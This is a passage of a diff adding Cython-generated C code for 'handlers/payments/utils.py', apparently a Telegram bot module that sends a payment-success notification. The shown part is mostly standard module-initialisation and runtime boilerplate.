__pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_u_profile, __pyx_k_profile, sizeof(__pyx_k_profile), 0, 1, 0, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_message, __pyx_k_send_message, sizeof(__pyx_k_send_message), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + return 0; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/utils.py":8 + * + * + * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< + * try: + * builder = InlineKeyboardBuilder() + */ + __pyx_tuple__8 = PyTuple_Pack(4, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__8); + __Pyx_GIVEREF(__pyx_tuple__8); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__8, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_utils_py, __pyx_n_s_send_payment_success_notificatio, 8, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification)) __PYX_ERR(0, 8, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification_spec, __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification = &__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification->tp_dictoffset && __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_utils(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_utils}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "utils", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initutils(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initutils(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_utils(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_utils(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_utils(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'utils' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("utils", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "utils" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_utils(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__utils) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.utils")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.utils", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/utils.py":1 + * from aiogram.types import InlineKeyboardButton # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/utils.py":2 + * from aiogram.types import InlineKeyboardButton + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * + * from bot import bot + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 2, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_3) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/utils.py":4 + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + * from bot import bot # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_bot); + __Pyx_GIVEREF(__pyx_n_s_bot); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_bot)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_bot, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_bot); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_bot, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/utils.py":5 + * + * from bot import bot + * from logger import logger # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_logger)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_3) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/utils.py":8 + * + * + * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< + * try: + * builder = InlineKeyboardBuilder() + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_user_id, __pyx_n_s_int) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_n_s_float) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_5utils_1send_payment_success_notification, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_send_payment_success_notificatio, NULL, __pyx_n_s_handlers_payments_utils, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_3) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/utils.py":1 + * from aiogram.types import InlineKeyboardButton # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_3) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.utils", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.utils"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if 